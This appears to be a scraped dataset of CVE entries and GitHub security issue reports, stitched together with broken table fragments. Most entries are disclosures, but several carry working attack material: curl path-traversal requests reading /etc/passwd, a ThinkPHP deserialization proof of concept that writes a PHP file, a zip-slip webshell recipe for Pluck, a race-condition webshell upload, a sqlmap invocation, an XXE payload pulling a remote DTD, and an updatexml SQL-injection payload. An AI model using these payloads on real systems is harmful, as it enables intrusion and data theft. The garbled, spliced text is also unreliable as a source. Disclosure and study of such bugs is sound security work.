CVE-2002-20001 | 2021-11-11T19:15:07.380 | The Diffie-Hellman Key Agreement Protocol allows remote attackers (from the client side) to send arbitrary numbers that are actually not public keys, and trigger expensive server-side DHE modular-exponentiation calculations, aka a D(HE)at or D(HE)ater attack. The client needs very little CPU resources and network bandwidth. The attack may be more disruptive in cases where a client can require a server to select its largest supported key size. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE. | {

"OpenCV-REST-API"
] | A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).
This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.
## Root Cause Analysis
In this case, the path traversal vulnerability can be blamed on incorrect usage of the send_from_directory Flask call. The vulnerability occurs due to the code snippet shown below
https://github.com/codingforentrepreneurs/OpenCV-REST-API/blob/69be158c05d4dd5a4aff38fdc680a162dd6b9e49/api/cv/views.py#L7-L15
Here, since the `path` parameter is attacker controlled, the effective directory and filename passed to the send_from_directory call can be controlled by the attacker leading to a path traversal attack.
This can be exploited by accessing a URI like `/static/outputs/../../../../etc/passwd` which will return the contents of the `/etc/passwd` file.
## Remediation
This can be easily fixed my restricting the value of file and path parameters by a fixed whitelist of possible values.

] | A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).
This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.
## Root Cause Analysis
In the case of Alquist, the path traversal vulnerability can be blamed on incorrect usage of the `send_from_directory` Flask call. The vulnerability occurs due to the code snippet shown below
https://github.com/AlquistManager/alquist/blob/280d99f43b11378212652e75f6f3159cde9c1d36/IO/input.py#L69-L72
Here, since the `path` and `file` parameters are attacker controlled, the effective directory and filename passed to the `send_from_directory` call can be controlled by the attacker leading to a path traversal attack.
## Proof of Concept
The bug can be verified using the proof of concept similar to the one shown below.
```
curl -i --path-as-is -s -k -X $'GET' \
-H $'Host: 0.0.0.0:5000' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
$'http://0.0.0.0:5000/client/../../../../../etc/../../../etc/passwd'
```
## Remediation
This can be easily fixed my restricting the value of `file` and `path` parameters by a fixed whitelist of possible values.

`npm ci` does not fail when `package.json` doesn't match `package-lock.json`
### Expected Behavior:
`npm ci` refuses to install when the lock file is invalid.
### Steps To Reproduce:
1. Manually bump a major version of a dependency in `package.json`
2. Run `npm ci`
3. It should fail but performs the whole installation

CVE-2021-43616 | 2021-11-13T18:15:07.537 | The npm ci command in npm 7.x and 8.x through 8.1.3 proceeds with an installation even if dependency information in package-lock.json differs from package.json. This behavior is inconsistent with the documentation, and makes it easier for attackers to install malware that was supposed to have been blocked by an exact version match requirement in package-lock.json. NOTE: The npm team believes this is not a vulnerability. It would require someone to socially engineer package.json which has different dependencies than package-lock.json. That user would have to have file system or write access to change dependencies. The npm team states preventing malicious actors from socially engineering or gaining file system access is outside the scope of the npm CLI. | {

"AlquistManager",
"alquist"
] | A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).
This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.
## Root Cause Analysis
In the case of Alquist, the path traversal vulnerability can be blamed on incorrect usage of the `send_from_directory` Flask call. The vulnerability occurs due to the code snippet shown below
https://github.com/AlquistManager/alquist/blob/280d99f43b11378212652e75f6f3159cde9c1d36/IO/input.py#L79-L82
Here, since the `path` and `file` parameters are attacker controlled, the effective directory and filename passed to the `send_from_directory` call can be controlled by the attacker leading to a path traversal attack.
## Proof of Concept
The bug can be verified using the proof of concept similar to the one shown below.
```
curl -i --path-as-is -s -k -X $'GET' \
-H $'Host: 0.0.0.0:5000' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
$'http://0.0.0.0:5000/asd/../../../../../../../../etc/passwd'
```
## Remediation
This can be easily fixed my restricting the value of `file` and `path` parameters by a fixed whitelist of possible values.

Geth version: `1.10.9-unstable-9ada4a2e-20210910`
OS & Version: MacOS
Network: Private test net
#### Expected behaviour
Node sync block in the private net.
#### Actual behaviour
Node crashed down with "runtime error: invalid memory address or nil pointer dereference"
#### Steps to reproduce the behaviour
1. setup a 10-node private geth nodes lcoally
2. setup a fuzzing node continually sending fuzzed messages to other 10 normal geth nodes.
3. After more than 24 hours fuzzing experiment, one of the geth node who is run in fast mode crashed down.
The running command for the node is ````./build/bin/geth --identity "ETH-node10" --datadir "node10" --ethash.dagdir "node10" --port "30312" --maxpeers 15 --networkid 10086 --syncmode "fast" --bootnodes "enode://e71bec68f09c4b9567bd4575d855ea61b179b1d64e6f78c861ebddf3783178f95edaaf39647c1f792bc654d0931ad25415d50c25c437787183c0b0a32a76da85@127.0.0.1:0?discport=30301" --mine --miner.etherbase 0xd192415624a039b24ad571f96cb438de9f0556a7 --miner.threads 1 console ````

] | I have tried a few examples and have noticed that some things occur when trying to run `wifi-config` using `mcconfig -d -m -p esp` from my MacBook Pro 2015.
1. `warning: serialport_set_baudrate: baud rate 921600 may not work` appears consistently
2. `install modules failure` shows up after sync hitting 100% sometimes
I am presuming this relates to `serialport_set_baudrate`
3. An exception seems to always occur due to some timer, that shows up even without the module failure.

4. It fails to load once fully synced and prints `/Users/bfarias/Documents/moddable/modules/piu/MC/piuFont.c (247) # Break: (host): font not found: OpenSans--20!` in xsbug.
This one seems a bit odd, since my build directory doesn't have that string/file name anywhere, but it does have some other `OpenSans` strings:

| 4.2.0 | Active-response script | Manager/Agent | Packages | CentOS 7 |#10809|
This issue was reported by @rk700.
We found a command injection bug in the active-response script [wazuh-slack](https://github.com/wazuh/wazuh/blob/master/src/active-response/wazuh-slack.c).
The alert JSON data is put in the shell command line as POST body for `curl`:
```c
snprintf(system_command, OS_MAXSTR -1, "curl -H \"Accept: application/json\" -H \"Content-Type: application/json\" -d '%s' %s", output_str, site_url);
```
However, the raw log line which could be partially controlled by an attacker is also included in the JSON data. Single quote in JSON is not escaped and therefore could be used to truncate the command:
```
-d '<json data that could be partially controlled>'
```
## Remediation
1. Prevent default Active Response tools from executing arbitrary code. Replace `system()` function call with `wpopenv()`, which executes subprocesses without a shell.
|Active response tool|Platform|
|---|---|
|`disable-account`|UNIX|
|`firewalld-drop`|Linux|
|`netsh`|Windows|
|`route-null`|Windows|
|`wazuh-slack`|UNIX|
2. Sanitize the AR payload by the manager for agents between 4.2.0 and 4.2.4, in order to prevent this hazard in outdated agents. Convert control characters into their hexadecimal notation:
|Character|Conversion|
|---|---|
|Exclamation mark (`!`)|`\x21`|
|Dollar (`$`)|`\x24`|
|Single quote (`'`)|`\x27`|
|Backtick (`` ` ``)|`\x60`| | Active response tools allow arbitrary code execution | https://api.github.com/repos/wazuh/wazuh/issues/10858/comments | 13 | 2021-11-16T09:26:07Z | 2021-12-10T16:54:42Z | https://github.com/wazuh/wazuh/issues/10858 | 1,054,644,643 | 10,858 | 2,801 |

| 4.2.0 | Active-response script | Manager/Agent | Packages | CentOS 7 |#10809|
This issue was reported by @rk700.
We found a command injection bug in the active-response script [wazuh-slack](https://github.com/wazuh/wazuh/blob/master/src/active-response/wazuh-slack.c).
The alert JSON data is put in the shell command line as POST body for `curl`:
```c
snprintf(system_command, OS_MAXSTR -1, "curl -H \"Accept: application/json\" -H \"Content-Type: application/json\" -d '%s' %s", output_str, site_url);
```
However, the raw log line which could be partially controlled by an attacker is also included in the JSON data. Single quote in JSON is not escaped and therefore could be used to truncate the command:
```
-d '<json data that could be partially controlled>'
```
## Remediation
1. Prevent default Active Response tools from executing arbitrary code. Replace `system()` function call with `wpopenv()`, which executes subprocesses without a shell.
|Active response tool|Platform|
|---|---|
|`disable-account`|UNIX|
|`firewalld-drop`|Linux|
|`netsh`|Windows|
|`route-null`|Windows|
|`wazuh-slack`|UNIX|
2. Sanitize the AR payload by the manager for agents between 4.2.0 and 4.2.4, in order to prevent this hazard in outdated agents. Convert control characters into their hexadecimal notation:
|Character|Conversion|
|---|---|
|Exclamation mark (`!`)|`\x21`|
|Dollar (`$`)|`\x24`|
|Single quote (`'`)|`\x27`|
|Backtick (`` ` ``)|`\x60`| | Active response tools allow arbitrary code execution | https://api.github.com/repos/wazuh/wazuh/issues/10858/comments | 13 | 2021-11-16T09:26:07Z | 2021-12-10T16:54:42Z | https://github.com/wazuh/wazuh/issues/10858 | 1,054,644,643 | 10,858 | 2,802 |

upload pictures, then intercept data package, like this
then modify the file name to `jsp`, you can bypass the limit that cannot be uploaded by JSP files.
although JSP files have been uploaded, because of the existence of global interceptors, we cannot execute commands.
it would return 500

just modify the parameter `dir`, like this

] | ## tl;dr
In version 2.0.1 and older of S3Scanner, if a user attempts to dump the contents of a bucket which contains objects with special characters in their keys, those characters can be used to save the files outside of the folder specified with `--dump-dir`.
## Thanks
I'd like to give a huge thanks to a security researcher named [RyotaK](https://twitter.com/ryotkak) for reporting this issue to me. They provided a detailed explanation and helped walk me through the steps to reproduce. Very excellent experience.
## The Bug
The issue is what's commonly known as a "path traversal" vulnerability. In this case, though, it's the ability to *save* files outside the intended area as opposed to *reading* files.
For example: this bucket was created by RyotaK for demonstration purposes.
<img src="https://user-images.githubusercontent.com/3712226/143785640-495acf39-ff99-4bcf-8236-42abd04f2e23.png" alt="screenshot of an S3 bucket listing showing a key called '../' and '../test.txt'" />
See how the object keys contain `../` ? When S3Scanner goes to download that file, it concatenates the dump directory and this key to form the file path the file should get downloaded to. So if a user ran the following command:
```bash
s3scanner dump --dump-dir /projects/s3scanner/buckets/ --bucket s3scanner-test-bucket
```
they would end up with a file called `test.txt` in `/projects/s3scanner/` which is one level up from where they wanted it. By adding a bunch of these characters together (`../../../../../`) an attacker could craft a malicious object key which would place their file anywhere on the S3Scanner user's system.
You may be surprised (like I was) to learn that AWS allows such characters in object keys. Their documentation [explains](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html) that while you can do this, there are limitations:
> ...
>
> In addition, be aware of the following prefix limitations:
>
> - Objects with a prefix of "./" must uploaded or downloaded with the AWS Command Line Interface (AWS CLI), AWS SDKs, or REST API. You cannot use the Amazon S3 console.
>
> - Objects with a prefix of "../" cannot be uploaded using the AWS Command Line Interface (AWS CLI) or Amazon S3 console.
In the "real world" the chances of an S3Scanner user encountering a bucket with these "malicious" keys is very low - especially considering I was not able to create such a bucket of my own. This threat poses a fairly low risk since the difficulty of pulling off the attack is a bit high and would only happen if a bad actor was purposely targeting users of this tool.
RyotaK has engaged MITRE who has reserved [CVE-2021-32061](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32061) for this vulnerability. The CVE will be updated after this advisory has been posted.
## Remediation
The good news is that I have already pushed the fix for this issue (#121). If an object to be downloaded has a key that would land outside of the `--dump-dir`, the file won't be downloaded. The user will get a message that looks like this:
<img src="https://user-images.githubusercontent.com/3712226/143785638-d1c87e52-800a-4eba-9ec5-c5f02da96d69.png" alt="Screenshot showing the command-line output of trying to dump the bucket referenced above which contains bad object keys. S3Scanner has skipped the files with relative path characters in their keys." />
I'll be drafting the v2.0.2 release to push out this update across the git repo, PyPi package, and Docker image. | CVE-2021-32061: Path Traversal via dump of malicious bucket | https://api.github.com/repos/sa7mon/S3Scanner/issues/122/comments | 0 | 2021-11-28T21:06:52Z | 2021-11-28T21:10:49Z | https://github.com/sa7mon/S3Scanner/issues/122 | 1,065,436,114 | 122 | 2,808 |

I would like to report for XSS vulnerability.
The path of the vulnerability:
In file https://github.com/IssabelFoundation/issabelPBX/blob/master/backup/page.backup_restore.php
```php
// line 16
$var[$k] = isset($_REQUEST[$k]) ? $_REQUEST[$k] : $v;
// line 143
dbug($_SESSION['backup_restore_path'], $var);
```
In file customappsreg/functions.inc.php
https://github.com/IssabelFoundation/issabelPBX/blob/master/framework/amp_conf/htdocs/admin/libraries/utility.functions.php
```php
// line 296
function dbug(){
// ...
$opts = func_get_args();
// ...
switch (count($opts)) {
case 1:
$msg = $opts[0];
break;
case 2:
if ( is_array($opts[0]) || is_object($opts[0]) ) {
$msg = $opts[0];
$dump = $opts[1];
} else {
$disc = $opts[0];
$msg = $opts[1];
}
break;
case 3:
$disc = $opts[0];
$msg = $opts[1];
$dump = $opts[2];
break;
}
// ...
if ($dump==1) {//force output via var_dump
ob_start();
var_dump($msg);
$msg=ob_get_contents();
ob_end_clean();
dbug_write($msg."\n\n\n");
} elseif(is_array($msg) || is_object($msg)) {
dbug_write(print_r($msg,true)."\n\n\n");
} else {
dbug_write($msg."\n\n\n");
}
}
```
$msg carry the value from $_REQUEST without sanitization. Then there is XSS vulnerability.

SOLUTION
Use function sqlSecurityFilter() before assign $_REQUEST['grade'] to query.
the code should look like:
```
if ($_REQUEST['grade']) {
$grade=sqlSecurityFilter($_REQUEST['grade'])
$allSQL .= ' AND ssm.GRADE_ID IN(SELECT id FROM school_gradelevels WHERE title= \'' . singleQuoteReplace("'", "\'", $grade . '\')';
}

SOLUTION
Use function sqlSecurityFilter() before assign $_REQUEST['staff'] to $value param.
```
$staffs=sqlSecurityFilter($_REQUEST['staff']);
foreach ($staffs as $column => $value) {
if ($column == 'BIRTHDATE' && $value!='')
{
$value = date("Y-m-d", strtotime($value));
}

## Vulnerability Demo
Create Routing at `controller/Index.php`
```php
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
if(isset($_POST['data'])){
@unserialize($_POST['data']);
}
}
}
```
this is my poc
```php
<?php
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Filesystem;
abstract class AbstractCache{
protected $autosave = false;
}
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct(){
$this->complete = "*/<?php phpinfo();?>";
$this->expire = "yydsy4";
$this->adapter = new \League\Flysystem\Adapter\Local();
$this->file = "y4tacker.php";
}
}
}
namespace League\Flysystem\Adapter{
class Local extends AbstractAdapter{
}
abstract class AbstractAdapter{
protected $pathPrefix;
public function __construct(){
$this->pathPrefix = "./";
}
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
$a = new Adapter();
echo urlencode((serialize($a)));
}
```
The file has been generated in the directory in public
and
## Vulnerability Analysis
First one starts with __destruct, autosave can be bypassed by assigning a value of true
Next we call the save method, because this is an abstract class so we need to find the method that implements it
```
abstract class AbstractCache implements CacheInterface
```
Here I choose `vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php`
`adapter` variables are controllable and it feels like write may have a write operation so we globally search for the write method
finally at `vendor\league\flysystem\src\Adapter\Local.php`
The `has` method determines if the value in the `location` variable is an existing file, in order to bypass it we need a non-existent file name, the path is completely controllable
And this one happens to have the file_put_contents method in it
The value of contents comes from what we passed in earlier and can see is `$this->getForStorage();`
The parameters are all controllable, but we need to bypass the `json_encode` method, otherwise if we pass in escape symbols it will also output
Here I pass in `*/<?php phpinfo();? >` will be commented out in front and followed by `? >` is separated, causing the vulnerability, analysis is complete | ThinkPHP6.0.8 exists unserialize vulnerability | https://api.github.com/repos/top-think/framework/issues/2559/comments | 1 | 2021-07-02T13:21:46Z | 2021-12-11T03:14:28Z | https://github.com/top-think/framework/issues/2559 | 935,767,392 | 2,559 | 2,837 |

At first we need to login and then we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list
then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b
The point of vulnerability is in admin/batch_manager_global.php；The parameter selection is not filtered
Unfiltered parametersselection is spliced
The next step is to capture packets using BurpSuite by simply constructing parameters
selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79
Remember to replace the value of the token above
Save parameters to file，then just use sqlmap to exploit
python sqlmap.py -r 1233 --current-db

] | Hi there,
I couldn't find a `SECURITY.md` in your repository and am not sure how to best contact you privately to disclose a security issue.
Can you add a `SECURITY.md` file with an e-mail to your repository, so that our system can send you the vulnerability details? GitHub suggests that a [security policy](https://docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository) is the best way to make sure security issues are responsibly disclosed.
Once you've done that, you should receive an e-mail within the next hour with more info.
Thanks! (cc @huntr-helper) | Trying to get in touch regarding a security issue | https://api.github.com/repos/naholyr/github-todos/issues/34/comments | 0 | 2021-07-20T09:57:02Z | 2021-07-20T09:57:02Z | https://github.com/naholyr/github-todos/issues/34 | 948,492,971 | 34 | 2,841 |

] | @DilumAluthge alerted us to segfaults that were occurring on some machines during CI builds while running the LinearAlgebra/tridiag test. Using rr, we were able to trace these segfaults back to a call to `stegr!` in lapack.jl https://github.com/JuliaLang/julia/blob/44d484222005580432433b7889c4a56d25c0ea67/stdlib/LinearAlgebra/src/lapack.jl#L3827
While we ran out of time to fully debug and fix this, we have a MWE that replicates the problem on AMD machines.
Here's the MWE:
```

] | **Issue Summary**
A session-fixation vulnerability exists within Pluck's administrative login system which can be abused to retain a valid login session even after an administrator has changed their password.
**Detailed Description**
It is possible to arbitrarily set the session ID of Pluck's "PHPSESSID" cookie. This cookie is used for maintaining administrative login sessions. This can be used in a session-fixation attack, for example, to sustain unauthorized access to the CMS after already gaining it through a primary vulnerability. Furthermore, Pluck does not expire sessions in a timely manner nor are sessions bound in any other way. This also allows an easier brute force attack, as it is possible to brute-force session IDs without rate-limits imposed by the normal login process.
<img width="1633" alt="sessfix" src="https://user-images.githubusercontent.com/2632588/115493762-3579f800-a219-11eb-8f34-6dc7071fa85e.png">
**Reproduction Steps**
1. From Google Chrome, open the developer tools menu, navigate to: Application > Storage -> Cookies -> <PLUCK_DOMAIN>
2. Change the value of the "PHPSESSID" cookkie to an arbitrary value, such as "wolf".
3. Login to the pluck administrative panel, by visiting <PLUCK_DOMAIN>/login.php and login to the panel.
4. On a new browser, repeat steps 1 and 2.
5. On step 3, you will be given access without being prompted for administrative credentials.
**Impact**
After any primary exploit has occurred, the session fixation attack can be used in order to sustained unauthorized access. Because Pluck does not invalidate prior sessions after a password change, access can be sustained even after an administrator performs regular remediation attempts such as resetting their password. | Pluck 4.7.15 - Session Fixation Vulnerability | https://api.github.com/repos/pluck-cms/pluck/issues/99/comments | 4 | 2021-04-21T03:45:08Z | 2021-04-30T23:32:01Z | https://github.com/pluck-cms/pluck/issues/99 | 863,419,795 | 99 | 2,847 |

Pluck's module and theme installers are vulnerable to directory traversal (via zip slip).
**Detailed Description**
It is possible to upload a malicious zip file in order to traverse directories outside of the intended environment, potentially allowing arbitrary code execution which will run with the permissions of the user assigned to the webserver.
**Reproduction Steps**
1. Using the [evilarc tool](https://github.com/ptoomey3/evilarc), create a zip archive containing a PHP file with a depth of 2 `(python evilarch.py shell.php -d 2 -f wolf.zip)`
2. Visit `<pluck_domain>/admin.php?action=themeinstall `and upload the malicious `wolf.zip` you created.
3. Visit `<pluck_domain>/shell.php` and you now have a PHP shell.
**Impact**
This vulnerability makes remote code execution under the privileges of the user running the webserver application possible. | Pluck 4.7.15 - Zip Slip Vulnerability | https://api.github.com/repos/pluck-cms/pluck/issues/100/comments | 2 | 2021-04-21T04:09:29Z | 2021-04-26T18:17:23Z | https://github.com/pluck-cms/pluck/issues/100 | 863,429,744 | 100 | 2,848 |

] | I uploaded any file in the "manage files" section, here I uploaded a "1.jpg".
Found two files at the upload folder.
Looked at the source code for the delete file function. On lines 21 and 22 of "data/in/deletefile.php", the logic is that the file ".htaccess" is not allowed to be deleted. But it can be bypassed.
I clicked on the delete button on the page for "1.jpg" and sniffered the packet.
Change the value of the request parameter "var" to ".Htaccess" (the suffix name is not case sensitive in Windows)
".Htaccess" is already in the trash.
The ".htaccess" in the upload folder has been copied to the trash folder.
Looked at the source code for the upload function, lines 34 to 52 of "data/in/file.php".
The code logic is as follows.
1. First check if the file suffix is ".htaccess".
2. then check if the file suffix is in the blacklist.
3. If the suffix is in the blacklist, add the suffix ".txt" for renaming and give permission.
4. If the suffix name is not in the blacklist, then give permission directly.
Use race condition for attacks.
First I create a "phpinfo.php" file.
poc:
<?php phpinfo();?>
Upload the file and sniffer a packet of the upload request and send it to intruder (add variable a=1 to keep sniffering the request packet).
Then sniffer a packet that accesses the file and send it to intruder.
Both intruder types are selected as "Numbers" and the number is 10000.
Threads are set to 20.
Start the attack, when the status of the request to access the file is 200, it means that the file was uploaded successfully and the code was executed.
Upload webshell with race condition and successfully gain access to the server.
exploit：
(Note: the ".php" file only exists when the race condition is in place, if the race condition is stopped the ".php" file will still be a ".php.txt" file, so the shell will disconnect. The shell will then disconnect. (So maintaining permissions requires that race condition be maintained at all times)

] | **Issue Summary**
Pluck's update system deliberately skips SSL certificate validation.
**Detailed Description**
Within update_applet.php is the following code:
```
// Dont check ssl certifical
curl_setopt($geturl, CURLOPT_SSL_VERIFYPEER, false);
```
This ensures peer SSL certificates are never valdiated.
**Impact**
In theory, this vulnerability can make the Pluck's update system susceptible to Man-in-the-middle attacks. | Pluck 4.7.15 - Missing SSL Certificate Validation in update_applet.php | https://api.github.com/repos/pluck-cms/pluck/issues/101/comments | 3 | 2021-04-21T17:59:48Z | 2021-12-26T04:06:21Z | https://github.com/pluck-cms/pluck/issues/101 | 864,135,418 | 101 | 2,850 |

] | **Hello, I am threedr3am of [SecCoder Security Lab](https://www.seccoder.club/) (contact@seccoder.club).**
**We found a security vulnerability(SCSL-2021-1001) in the [H2-Database-Engine jar](https://mvnrepository.com/artifact/com.h2database/h2) when using this component to connect to the h2 database , The returned data content field is parsed through SQLXML, which will cause the client XXE (https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).**
- Oracle mysql jdbc also recently fixed a similar security vulnerability, please refer to: https://nvd.nist.gov/vuln/detail/CVE-2021-2471
- This is their fix commit: https://github.com/mysql/mysql-connector-j/commit/4993d5735fd84a46e7d949ad1bcaa0e9bb039824
### vulnerability detail:
When analyzing the data returned by the database, the org.h2.jdbc.JdbcResultSet class provides the getSQLXML(java.lang.String) method, which parses the string data into an object of the org.h2.jdbc.JdbcSQLXML class.
When the object executes the getSource(Class<T> sourceClass) method, if the input parameter is DOMSource.class, it will result in unprotected parsing of XML, resulting in XXE.
### vulnerability reproduction:
1. The table exists in the database
```
create table tb_test (
id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',
message text COMMENT 'SQLXML',
PRIMARY KEY (`id`)
);
```
2. There is data in the tb_test table
```
insert into tb_test(message) values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/xxe.dtd"> %remote; ]>');
```
3. Query the database to return the message field and parse it through SQLXML
```
Statement statement = connection.createStatement();
statement.execute("select * from tb_test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("message");
sqlxml.getSource(DOMSource.class);
}
```

Seems like there is a memleak in the code.
```
<LittleVulpix> nurupo: Oh? Let's see...
toxme.io is running so
oh wiw
wow*
[2152112.531883] Out of memory: Kill process 3782 (tox-bootstrapd) score 893 or sacrifice child
[2152112.643896] oom_reaper: reaped process 3782 (tox-bootstrapd), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
If so many went offline at that time I would imagine someone caused a leak to manifest in tox bootstrap daemon took down several nodes with it that way
nurupo: node started but yeah I'm pretty sure this wouldn't have been random. I doubt we all started our nodes exactly at the same time so it must have been someone doing something with the network that caused bootstrap nodes to die
<nurupo> are you sure it was tox-bootstrapd that filled up your ram and not some other program?
<LittleVulpix> nurupo: not minding the fact the same happened to several completely unrelated machines, yeah I'm pretty sure
[2152112.531817] [ pid ] uid tgid total_vm rss nr_ptes nr_pmds swapents oom_score_adj name
[2152112.531846] [ 3782] 999 3782 467797 455738 903 4 0 0 tox-bootstrapd
467MB ram
reserved
455 actually used
normal resource usage is about 10-15MB RAM from what I remember
soooo that's like 45x as much
<iphy> LittleVulpix: interesting
<nurupo> if there is a memory leak then it's likely to be in toxcore itself so every tox node (i.e. even a client), i don't think there is anything in tox-bootstrapd that can leak memory, so everything that uses toxcore is likely affected, even clients. also, a lot of nodes were using old toxcore, like irungentoo old, so if there is a memory leak issue - it must be long present
<iphy> yes

] | While implementing [tox in rust](https://github.com/tox-rs/tox) we've found vulnerability in onion module.
Currently onion module allows to send any byte sequence through onion path. It can lead to possibility to bypass onion and get IP address (and friends list eventually) knowing only long term public key.
Let's say Alice announces herself to Bob sending AnnounceRequest packet through onion path. After announcement Bob knows Alice's long term public key and onion return addresses to send packets back to Alice. But Bob doesn't know IP address of Alice and want to find it out. All he needs to do is send NAT ping request with his own DHT public key to Alice through onion path using onion return addresses he knows. If Bob is lucky enough to have close DHT public key to Alice's key Alice will redirect this ping request directly to Bob. After receiving his own request Bob will know IP address of Alice.
Now, if somewone want to know somebody's IP address he can generate DHT key close enough to long term public key, wait for announce request, run many DHT nodes and send pings to them one by one.
So I suggest to restrict packet kinds that can be sent through onion path: https://github.com/TokTok/c-toxcore/pull/872
I also monitored tox network through several DHT nodes and didn't notice anything other than onion announce/data packets is sent through onion. So this change shouldn't break anything. | Onion vulnerability | https://api.github.com/repos/TokTok/c-toxcore/issues/873/comments | 5 | 2018-04-15T06:46:40Z | 2022-02-05T01:05:51Z | https://github.com/TokTok/c-toxcore/issues/873 | 314,390,798 | 873 | 2,853 |

] | Dear Cybele Software,
My name is Daniel Morales, from the IT Security Team of ARHS Spikeseed.
I recently found a vulnerability in Thinfinity VirtualUI that allows a malicious actor to enumerate users registered in the OS (Windows) through /changePassword
**How it works**
By accessing the vector, an attacker can determine if a username exists thanks to the message returned; it can be presented in different languages according to the configuration of VirtualUI.
Common users are administrator, admin, guest and krgtbt
**Payload**
The vulnerable vector is "https://example.com/changePassword?username=USERNAME" where "USERNAME" need to be brute-forced.
**Vulnerable versions**
It has been tested in VirtualUI version 2.1.37.2, 2.1.42.2, 2.5.0.0, 2.5.36.1, 2.5.36.2 and 2.5.41.0.

CVE-2021-43801 | 2021-12-13T20:15:07.577 | Mercurius is a GraphQL adapter for Fastify. Any users from Mercurius@8.10.0 to 8.11.1 are subjected to a denial of service attack by sending a malformed JSON to `/graphql` unless they are using a custom error handler. The vulnerability has been fixed in https://github.com/mercurius-js/mercurius/pull/678 and shipped as v8.11.2. As a workaround users may use a custom error handler. | {

```
The issue seems to be that at `dwarf.c:1223` the line `die->attr_values = calloc(sizeof(RzBinDwarfAttrValue), attr_count);` gets executed with `attr_count` equal to 0, so this is equivalent to a `malloc(0)` (I think in this case a chunk with the smallest allocatable size is returned, which should be around 16 or 32 bytes, but in `dwarf.c:1730` a die_attribute gets written, which is 40 bytes in size).
This happens because in `dwarf.c:1729` the loop gets run `attr_count - 1` times, but as `abbrev->count` is 0 and is of type `size_t` this results in an undeflow which then triggers the OOB write. | Heap-based OOB write when parsing dwarf die info | https://api.github.com/repos/rizinorg/rizin/issues/2083/comments | 4 | 2021-12-09T15:44:16Z | 2021-12-10T14:55:59Z | https://github.com/rizinorg/rizin/issues/2083 | 1,075,719,455 | 2,083 | 2,856 |

] | This vulnerability exists in the parseOrder method of the Builder class. Because the program did not filter the data well, it directly spliced the data into SQL statements, which eventually led to SQL injection vulnerability. Version: 5.0.x<=ThinkPHP5<=5.1.22
As an example of 5.0.15, in fact, any version of the parseOrder () method that does not filter the passed parameters is available：
Add the following code to index.php
And then our payload looks like this：
?name[name^updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
^ can also be replaced with -,%,/,&...
Let's analyze the formation of vulnerabilities：
In the Order method of the Query class, we can see that the data is stored directly in the $this->options['order'] 中。
Next, the find method of the Connection class calls the Select method of the Builder class to generate the SQL statement
The program directly concatenates the string through the parseKey method to return (, without any filtering, detection, which is also the cause of this SQL injection vulnerability

CVE-2021-45100 | 2021-12-16T05:15:08.827 | The ksmbd server through 3.4.2, as used in the Linux kernel through 5.15.8, sometimes communicates in cleartext even though encryption has been enabled. This occurs because it sets the SMB2_GLOBAL_CAP_ENCRYPTION flag when using the SMB 3.1.1 protocol, which is a violation of the SMB protocol specification. When Windows 10 detects this protocol violation, it disables encryption. | {

] | Hello. I am facing an error with the latest stable v3.4.2 version, running on an OpenWRT machine. My configuration file is as follows:
```
[global]
netbios name = wd-casa
server string = Ksmbd on OpenWrt
workgroup = WORKGROUP
ipc timeout = 20
deadtime = 15
smb2 max read = 64K
smb2 max write = 64K
smb2 max trans = 64K
smb3 encryption = yes
restrict anonymous = 1
server signing = required
server min protocol = SMB3_11
######### Dynamic written config options #########
[marcos]
path = /mnt/data/marcos
force user = root
force group = root
create mask = 0666
directory mask = 0777
read only = no
